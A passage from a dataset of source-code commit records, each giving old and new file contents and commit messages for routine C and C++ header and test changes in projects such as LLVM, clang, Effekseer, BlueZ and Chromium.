<sys\/types.h>\n#include <sys\/param.h>\n\ninline void ThrowErrno(const std::string& prefix) {\n#if defined __USE_XOPEN2K || defined __USE_MISC\n    char buffer[MAXPATHLEN];\n    strerror_r(errno,buffer, MAXPATHLEN);\n    throw prefix + \": \" + buffer;\n#else\n    throw prefix + \": \" + strerror(errno);\n#endif\n}\n","new_contents":"\/\/===- llvm\/System\/Unix\/Unix.h - Common Unix Include File -------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Reid Spencer and is distributed under the \n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Unix implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic UNIX code that\n\/\/===          is guaranteed to work on all UNIX variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Config\/config.h\"     \/\/ Get autoconf configuration settings\n#include <unistd.h>\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n#include <cerrno>\n#include <sys\/types.h>\n#include <sys\/param.h>\n\ninline void ThrowErrno(const std::string& prefix) {\n#if defined __USE_XOPEN2K || defined __USE_MISC\n    char buffer[MAXPATHLEN];\n    strerror_r(errno,buffer, MAXPATHLEN);\n    throw prefix + \": \" + buffer;\n#else\n    throw prefix + \": \" + strerror(errno);\n#endif\n}\n","subject":"Include some additional header files. Fix the banner length.","message":"Include some additional header files.\nFix the banner length.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@16086 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"ad11589eed6c299b36bd335a5e72e029897b05e5","old_file":"test\/Driver\/integrated-as.c","new_file":"test\/Driver\/integrated-as.c","old_contents":"\/\/ RUN: %clang -### -c -save-temps -integrated-as %s 2>&1 | FileCheck %s\n\n\/\/ CHECK: cc1as\n\/\/ CHECK: -mrelax-all\n\n\/\/ RUN: %clang -### -fintegrated-as -c -save-temps %s 2>&1 | FileCheck %s -check-prefix FIAS\n\n\/\/ FIAS: cc1as\n\n\/\/ RUN: %clang -### -fno-integrated-as -S %s 2>&1 \\\n\/\/ RUN:     | FileCheck %s -check-prefix NOFIAS\n\n\/\/ NOFIAS-NOT: cc1as\n\/\/ NOFIAS: -cc1\n\/\/ NOFIAS: -no-integrated-as\n","new_contents":"\/\/ RUN: %clang -### -c -save-temps -integrated-as %s 2>&1 | FileCheck %s\n\n\/\/ CHECK: cc1as\n\/\/ CHECK: -mrelax-all\n\n\/\/ RUN: %clang -### -fintegrated-as -c -save-temps %s 2>&1 | FileCheck %s -check-prefix FIAS\n\n\/\/ FIAS: cc1as\n\n\/\/ RUN: %clang -target none -### -fno-integrated-as -S %s 2>&1 \\\n\/\/ RUN:     | FileCheck %s -check-prefix NOFIAS\n\n\/\/ NOFIAS-NOT: cc1as\n\/\/ NOFIAS: -cc1\n\/\/ NOFIAS: -no-integrated-as\n","subject":"Use a dummy target so the test passes when default target is for a toolchain implements useIntegratedAs() -> true","message":"Use a dummy target so the test passes when default target is for a toolchain implements useIntegratedAs() -> true\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@338553 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"172803b3b0c2c1194d34f3c27b69604179b3fcb4","old_file":"Dev\/Cpp\/Effekseer\/Effekseer\/SIMD\/Bridge_SSE.h","new_file":"Dev\/Cpp\/Effekseer\/Effekseer\/SIMD\/Bridge_SSE.h","old_contents":"﻿\n#ifndef __EFFEKSEER_SIMD_BRIDGE_SSE_H__\n#define __EFFEKSEER_SIMD_BRIDGE_SSE_H__\n\n#include \"Float4_SSE.h\"\n#include \"Int4_SSE.h\"\n#include \"Base.h\"\n\n#if defined(EFK_SIMD_SSE2)\n\nnamespace Effekseer\n{\n\t\nnamespace SIMD\n{\n\ninline Int4 Float4::Convert4i() const { return _mm_cvtps_epi32(s); }\n\ninline Int4 Float4::Cast4i() const { return _mm_castps_si128(s); }\n\ninline Float4 Int4::Convert4f() const { return _mm_cvtepi32_ps(s); }\n\ninline Float4 Int4::Cast4f() const { return _mm_castsi128_ps(s); }\n\n} \/\/ namespace SIMD\n\n} \/\/ namespace Effekseer\n\n#endif\n\n#endif \/\/ __EFFEKSEER_SIMD_BRIDGE_SSE_H__","new_contents":"﻿\n#ifndef __EFFEKSEER_SIMD_BRIDGE_SSE_H__\n#define __EFFEKSEER_SIMD_BRIDGE_SSE_H__\n\n#include \"Float4_SSE.h\"\n#include \"Int4_SSE.h\"\n#include \"Base.h\"\n\n#if defined(EFK_SIMD_SSE2)\n\nnamespace Effekseer\n{\n\t\nnamespace SIMD\n{\n\ninline Int4 Float4::Convert4i() const { return _mm_cvttps_epi32(s); }\n\ninline Int4 Float4::Cast4i() const { return _mm_castps_si128(s); }\n\ninline Float4 Int4::Convert4f() const { return _mm_cvtepi32_ps(s); }\n\ninline Float4 Int4::Cast4f() const { return _mm_castsi128_ps(s); }\n\n} \/\/ namespace SIMD\n\n} \/\/ namespace Effekseer\n\n#endif\n\n#endif \/\/ __EFFEKSEER_SIMD_BRIDGE_SSE_H__","subject":"Fix a SIMD instruction mistake that regarding integer rounding.","message":"Fix a SIMD instruction mistake that regarding integer rounding.\n","lang":"C","license":"mit","repos":"effekseer\/Effekseer,effekseer\/Effekseer,effekseer\/Effekseer,effekseer\/Effekseer,effekseer\/Effekseer,effekseer\/Effekseer,effekseer\/Effekseer"}
{"commit":"73e7f37d62c9e1ecbfba862effa1e5fd0d036f32","old_file":"esvg\/lib\/esvg_script_js_sm.c","new_file":"esvg\/lib\/esvg_script_js_sm.c","old_contents":"","new_contents":"\/* Esvg - SVG\n * Copyright (C) 2012 Jorge Luis Zapata\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <jsapi.h>\n#include <stdlib.h>\n\/*============================================================================*\n *                                  Local                                     *\n *============================================================================*\/\n#if 0\nint main(int argc, char **argv)\n{\n\tstatic JSClass global_class = {\n\t\t\"global\", JSCLASS_GLOBAL_FLAGS,\n\t\tJS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub,\n\t\tJS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, JS_FinalizeStub,\n\t\tJSCLASS_NO_OPTIONAL_MEMBERS\n\t};\n\n\tJSRuntime *rt;\n\tJSContext *cx;\n\tJSObject  *global;\n\n\t\/* Create an instance of the engine *\/\n\n\trt = JS_NewRuntime(1024*1024);\n\n\tif (!rt) {\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t\/* Create an execution context *\/\n\n\tcx = JS_NewContext(rt, 8192);\n\n\tif (!cx) {\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t\/* Create a global object and a set of standard objects *\/\n\n\tglobal = JS_NewObject(cx, &global_class, NULL, NULL);\n\n\tif (!global) {\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tif (JS_InitStandardClasses(cx, global) != JS_TRUE) {\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t\/* Do something *\/\n\n\t...\n\n\t\/* Cleanup *\/\n\n\tJS_DestroyContext(cx);\n\tJS_DestroyRuntime(rt);\n\tJS_ShutDown();\n\n\texit(EXIT_SUCCESS);\n}\n#endif\n\/*----------------------------------------------------------------------------*\n *                          The script  interface                             *\n *----------------------------------------------------------------------------*\/\nstatic Esvg_Script_Descriptor _descriptor = {\n\n};\n\/*============================================================================*\n *                                 Global                                     *\n *============================================================================*\/\nvoid esvg_script_js_sm_init(void)\n{\n\tesvg_script_descriptor_register(&descriptor, \"application\/ecmascript\");\n}\n\nvoid esvg_script_js_sm_shutdown(void)\n{\n\tesvg_script_descriptor_unregister(&descriptor, \"application\/ecmascript\");\n}\n\/*============================================================================*\n *                                   API                                      *\n *============================================================================*\/\n\n\n","subject":"Add the spidermonkey prototype We need to generate the bindings dynamically at least for the properties until ender have support for real functions. On spidermonkey the objects are created using a class and a prototype, we need to figure out how to match an idl interface with such scheme. Then wrapping ender properties and classes should be simple","message":"Add the spidermonkey prototype\nWe need to generate the bindings dynamically at least for the properties\nuntil ender have support for real functions. On spidermonkey the objects\nare created using a class and a prototype, we need to figure out how\nto match an idl interface with such scheme. Then wrapping ender properties\nand classes should be simple\n\n","lang":"C","license":"lgpl-2.1","repos":"turran\/egueb,turran\/egueb,turran\/egueb"}
{"commit":"f5166577a90e10c62d23623cb12d37cb8909872f","old_file":"src\/appc\/schema\/ac_name.h","new_file":"src\/appc\/schema\/ac_name.h","old_contents":"#pragma once\n\n#include <regex>\n\n#include \"appc\/schema\/common.h\"\n\n\nnamespace appc {\nnamespace schema {\n\n\nconst unsigned int max_ac_name_length = 512;\n\n\ntemplate<typename T>\nstruct ACName : StringType<T> {\n  explicit ACName<T>(const std::string& name)\n  : StringType<T>(name) {}\n\n  virtual Status validate() const {\n    if (this->value.empty()) {\n      return Invalid(\"ACName must not be empty.\");\n    }\n    if (this->value.size() > max_ac_name_length) {\n      return Invalid(\"ACName must not be longer than \" + max_ac_name_length);\n    }\n    const std::regex pattern(\"^[a-z0-9]+([a-z0-9-\\\\.\/]*[a-z0-9])*$\",\n                             std::regex::ECMAScript);\n    if (!std::regex_match(this->value, pattern)) {\n      return Invalid(\"ACName must comply with rfc1123 + allow '\/'\");\n    }\n    return Valid();\n  }\n};\n\n\n} \/\/ namespace schema\n} \/\/ namespace appc\n","new_contents":"#pragma once\n\n#include <regex>\n\n#include \"appc\/schema\/common.h\"\n\n\nnamespace appc {\nnamespace schema {\n\n\nconst unsigned int max_ac_name_length = 512;\n\n\ntemplate<typename T>\nstruct ACName : StringType<T> {\n  explicit ACName<T>(const std::string& name)\n  : StringType<T>(name) {}\n\n  virtual Status validate() const {\n    if (this->value.empty()) {\n      return Invalid(\"ACName must not be empty.\");\n    }\n    if (this->value.size() > max_ac_name_length) {\n      return Invalid(\"ACName must not be longer than \" + max_ac_name_length);\n    }\n    const std::regex pattern(\"^[A-Za-z0-9]+([\\\\-\\\\.\\\\\/][A-Za-z0-9]+)*$\",\n                             std::regex::ECMAScript);\n    if (!std::regex_match(this->value, pattern)) {\n      return Invalid(\"ACName must comply with rfc1123 + allow '\/'\");\n    }\n    return Valid();\n  }\n};\n\n\n} \/\/ namespace schema\n} \/\/ namespace appc\n","subject":"Fix for AC Name type adherence to rfc1123","message":"schema: Fix for AC Name type adherence to rfc1123\n","lang":"C","license":"apache-2.0","repos":"cdaylward\/libappc,cdaylward\/libappc"}
{"commit":"ce8dca20b8c364fa079330d41a0daff6a8842e0c","old_file":"ir\/be\/test\/mux.c","new_file":"ir\/be\/test\/mux.c","old_contents":"\nint f(int a, int b) {\n\treturn a && b ? 11 : 42;\n}\n\nint x = 2, y = 3;\n\nint main(void) {\n\tint ret = 23 < f(x,y);\n\tprintf(\"%d\\n\", ret);\n\treturn ret;\n}\n","new_contents":"\/*$ -march=pentium3 $*\/\n\nint f(int a, int b) {\n\treturn a && b ? 11 : 42;\n}\n\nint x = 2, y = 3;\n\nint main(void) {\n\tint ret = 23 < f(x,y);\n\tprintf(\"%d\\n\", ret);\n\treturn ret;\n}\n","subject":"Use march=pentium3 to use if-conv","message":"Use march=pentium3 to use if-conv\n\n[r21671]\n","lang":"C","license":"lgpl-2.1","repos":"davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,8l\/libfirm,libfirm\/libfirm,8l\/libfirm,MatzeB\/libfirm,8l\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,8l\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,8l\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,8l\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,MatzeB\/libfirm"}
{"commit":"4491b8b434bf56b9ec3008aae2c2f3564443faa4","old_file":"OctoKit\/OCTDirectoryContent.h","new_file":"OctoKit\/OCTDirectoryContent.h","old_contents":"\/\/\n\/\/  OCTDirectoryContent.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Aron Cedercrantz on 14-07-2013.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/{\n\/\/    \"type\": \"dir\",\n\/\/    \"size\": 0,\n\/\/    \"name\": \"octokit\",\n\/\/    \"path\": \"lib\/octokit\",\n\/\/    \"sha\": \"a84d88e7554fc1fa21bcbc4efae3c782a70d2b9d\",\n\/\/    \"url\": \"https:\/\/api.github.com\/repos\/pengwynn\/octokit\/contents\/lib\/octokit\",\n\/\/    \"git_url\": \"https:\/\/api.github.com\/repos\/pengwynn\/octokit\/git\/trees\/a84d88e7554fc1fa21bcbc4efae3c782a70d2b9d\",\n\/\/    \"html_url\": \"https:\/\/github.com\/pengwynn\/octokit\/tree\/master\/lib\/octokit\",\n\/\/    \"_links\": {\n\/\/      \"self\": \"https:\/\/api.github.com\/repos\/pengwynn\/octokit\/contents\/lib\/octokit\",\n\/\/      \"git\": \"https:\/\/api.github.com\/repos\/pengwynn\/octokit\/git\/trees\/a84d88e7554fc1fa21bcbc4efae3c782a70d2b9d\",\n\/\/      \"html\": \"https:\/\/github.com\/pengwynn\/octokit\/tree\/master\/lib\/octokit\"\n\/\/    }\n\/\/  }\n\n\/\/ A directory in a git repository.\n@interface OCTDirectoryContent : OCTContent\n@end\n","new_contents":"\/\/\n\/\/  OCTDirectoryContent.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Aron Cedercrantz on 14-07-2013.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/ A directory in a git repository.\n@interface OCTDirectoryContent : OCTContent\n@end\n","subject":"Remove comment on JSON structure.","message":"Remove comment on JSON structure.\n\n- Not sure how I missed that while looking through the code… :)\n\nSigned-off-by: Aron Cedercrantz <ce30127eefa07a02d568832e3de6952fb491981c@cedercrantz.se>","lang":"C","license":"mit","repos":"daemonchen\/octokit.objc,Acidburn0zzz\/octokit.objc,GroundControl-Solutions\/octokit.objc,Acidburn0zzz\/octokit.objc,CHNLiPeng\/octokit.objc,phatblat\/octokit.objc,daukantas\/octokit.objc,phatblat\/octokit.objc,CleanShavenApps\/octokit.objc,xantage\/octokit.objc,yeahdongcn\/octokit.objc,Palleas\/octokit.objc,wrcj12138aaa\/octokit.objc,jonesgithub\/octokit.objc,xantage\/octokit.objc,CHNLiPeng\/octokit.objc,Palleas\/octokit.objc,cnbin\/octokit.objc,cnbin\/octokit.objc,leichunfeng\/octokit.objc,wrcj12138aaa\/octokit.objc,daemonchen\/octokit.objc,leichunfeng\/octokit.objc,jonesgithub\/octokit.objc,daukantas\/octokit.objc,GroundControl-Solutions\/octokit.objc"}
{"commit":"07ac2e2da98d79627823747273bb609a0d5ddbf3","old_file":"include\/llvm\/Linker\/Linker.h","new_file":"include\/llvm\/Linker\/Linker.h","old_contents":"\/\/===- Linker.h - Module Linker Interface -----------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_LINKER_LINKER_H\n#define LLVM_LINKER_LINKER_H\n\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n\n#include <functional>\n\nnamespace llvm {\nclass DiagnosticInfo;\nclass Module;\nclass StructType;\n\n\/\/\/ This class provides the core functionality of linking in LLVM. It keeps a\n\/\/\/ pointer to the merged module so far. It doesn't take ownership of the\n\/\/\/ module since it is assumed that the user of this class will want to do\n\/\/\/ something with it after the linking.\nclass Linker {\n  public:\n    typedef std::function<void(const DiagnosticInfo &)>\n        DiagnosticHandlerFunction;\n\n    Linker(Module *M, DiagnosticHandlerFunction DiagnosticHandler);\n    Linker(Module *M);\n    ~Linker();\n\n    Module *getModule() const { return Composite; }\n    void deleteModule();\n\n    \/\/\/ \\brief Link \\p Src into the composite. The source is destroyed.\n    \/\/\/ Returns true on error.\n    bool linkInModule(Module *Src);\n\n    static bool LinkModules(Module *Dest, Module *Src,\n                            DiagnosticHandlerFunction DiagnosticHandler);\n\n    static bool LinkModules(Module *Dest, Module *Src);\n\n  private:\n    Module *Composite;\n    SmallPtrSet<StructType*, 32> IdentifiedStructTypes;\n    DiagnosticHandlerFunction DiagnosticHandler;\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- Linker.h - Module Linker Interface -----------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_LINKER_LINKER_H\n#define LLVM_LINKER_LINKER_H\n\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\n\n\nnamespace llvm {\nclass DiagnosticInfo;\nclass Module;\nclass StructType;\n\n\/\/\/ This class provides the core functionality of linking in LLVM. It keeps a\n\/\/\/ pointer to the merged module so far. It doesn't take ownership of the\n\/\/\/ module since it is assumed that the user of this class will want to do\n\/\/\/ something with it after the linking.\nclass Linker {\n  public:\n    typedef function_ref<void(const DiagnosticInfo &)>\n        DiagnosticHandlerFunction;\n\n    Linker(Module *M, DiagnosticHandlerFunction DiagnosticHandler);\n    Linker(Module *M);\n    ~Linker();\n\n    Module *getModule() const { return Composite; }\n    void deleteModule();\n\n    \/\/\/ \\brief Link \\p Src into the composite. The source is destroyed.\n    \/\/\/ Returns true on error.\n    bool linkInModule(Module *Src);\n\n    static bool LinkModules(Module *Dest, Module *Src,\n                            DiagnosticHandlerFunction DiagnosticHandler);\n\n    static bool LinkModules(Module *Dest, Module *Src);\n\n  private:\n    Module *Composite;\n    SmallPtrSet<StructType*, 32> IdentifiedStructTypes;\n    DiagnosticHandlerFunction DiagnosticHandler;\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Use a function_ref now that it works (r221753).","message":"Use a function_ref now that it works (r221753).\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@221756 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"ea22520461e13c180f7e96144c7245a023e8e3f0","old_file":"network\/server.h","new_file":"network\/server.h","old_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2004-2010  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\nint server_init(DBusConnection *conn, gboolean secure);\nvoid server_exit(void);\nint server_register(struct btd_adapter *adapter);\nint server_unregister(struct btd_adapter *adapter);\n\nint server_find_data(const char *path, const char *pattern);\n","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2004-2010  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\nint server_init(DBusConnection *conn, gboolean secure);\nvoid server_exit(void);\nint server_register(struct btd_adapter *adapter);\nint server_unregister(struct btd_adapter *adapter);\n","subject":"Remove header declared but not defined","message":"network: Remove header declared but not defined\n","lang":"C","license":"lgpl-2.1","repos":"pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,mapfau\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez,mapfau\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez"}
{"commit":"c3b3eaac75219682541c4a3100c692d9abae535b","old_file":"ios\/Exponent\/Errors\/EXLog.h","new_file":"ios\/Exponent\/Errors\/EXLog.h","old_contents":"\/\/ Copyright 2015-present 650 Industries. All rights reserved.\n\n#import \"RCTLog.h\"\n\nRCTLogFunction EXDefaultRCTLogFunction;\n\n\/\/ EXFrame will use this when the manifest indicates we should enable developer debugging\n\/\/ Kernel will use this when (DEBUG == 1)\nRCTLogFunction EXDeveloperRCTLogFunction;\n\nRCTLogFunction EXGetKernelRCTLogFunction(void);\n","new_contents":"\/\/ Copyright 2015-present 650 Industries. All rights reserved.\n\n#import \"RCTLog.h\"\n\nextern RCTLogFunction EXDefaultRCTLogFunction;\n\n\/\/ EXFrame will use this when the manifest indicates we should enable developer debugging\n\/\/ Kernel will use this when (DEBUG == 1)\nextern RCTLogFunction EXDeveloperRCTLogFunction;\n\nextern RCTLogFunction EXGetKernelRCTLogFunction(void);\n","subject":"Make the linker happy about these functions","message":"Make the linker happy about these functions\n\nfbshipit-source-id: 8476c5d\n","lang":"C","license":"bsd-3-clause","repos":"exponent\/exponent,jolicloud\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponent\/exponent,exponentjs\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponent\/exponent"}
{"commit":"3b8af53b9903509b003c974c99d8284389dfb4dd","old_file":"lily_value.h","new_file":"lily_value.h","old_contents":"#ifndef LILY_VALUE_H\n# define LILY_VALUE_H\n\n# include \"lily_syminfo.h\"\n\nlily_method_val *lily_try_new_method_val();\nlily_object_val *lily_try_new_object_val();\nlily_hash_val *lily_try_new_hash_val();\nlily_hash_elem *lily_try_new_hash_elem();\n\nvoid lily_deref_method_val(lily_method_val *);\nvoid lily_deref_str_val(lily_str_val *);\nvoid lily_deref_object_val(lily_object_val *);\nvoid lily_deref_list_val_by(lily_sig *, lily_list_val *, int);\nvoid lily_deref_list_val(lily_sig *, lily_list_val *);\nvoid lily_deref_hash_val(lily_sig *, lily_hash_val *);\nvoid lily_deref_unknown_val(lily_value *);\nvoid lily_deref_unknown_raw_val(lily_sig *, lily_raw_value);\n\n#endif","new_contents":"#ifndef LILY_VALUE_H\n# define LILY_VALUE_H\n\n# include \"lily_syminfo.h\"\n\nlily_method_val *lily_try_new_method_val();\nlily_object_val *lily_try_new_object_val();\nlily_hash_val *lily_try_new_hash_val();\nlily_hash_elem *lily_try_new_hash_elem();\n\nvoid lily_deref_method_val(lily_method_val *);\nvoid lily_deref_str_val(lily_str_val *);\nvoid lily_deref_object_val(lily_object_val *);\nvoid lily_deref_list_val(lily_sig *, lily_list_val *);\nvoid lily_deref_hash_val(lily_sig *, lily_hash_val *);\nvoid lily_deref_unknown_val(lily_value *);\nvoid lily_deref_unknown_raw_val(lily_sig *, lily_raw_value);\n\n#endif","subject":"Remove lily_deref_list_val_by. This is a relic from the circle_buster era.","message":"Remove lily_deref_list_val_by. This is a relic from the circle_buster era.\n","lang":"C","license":"mit","repos":"boardwalk\/lily,boardwalk\/lily,crasm\/lily,crasm\/lily,crasm\/lily"}
{"commit":"248440e14b763404fc4ef20e09cb236d8edac73f","old_file":"ui\/views\/controls\/button\/menu_button_delegate.h","new_file":"ui\/views\/controls\/button\/menu_button_delegate.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#define UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#pragma once\n\nnamespace gfx {\nclass Point;\n}\n\nnamespace views {\n\nclass View;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ MenuButtonDelegate\n\/\/\n\/\/ An interface that allows a component to tell a View about a menu that it\n\/\/ has constructed that the view can show (e.g. for MenuButton views, or as a\n\/\/ context menu.)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass MenuButtonDelegate {\n public:\n  \/\/ Creates and shows a menu at the specified position. |source| is the view\n  \/\/ the MenuButtonDelegate was set on.\n  virtual void RunMenu(View* source, const gfx::Point& point) = 0;\n\n protected:\n  virtual ~MenuButtonDelegate() {}\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#define 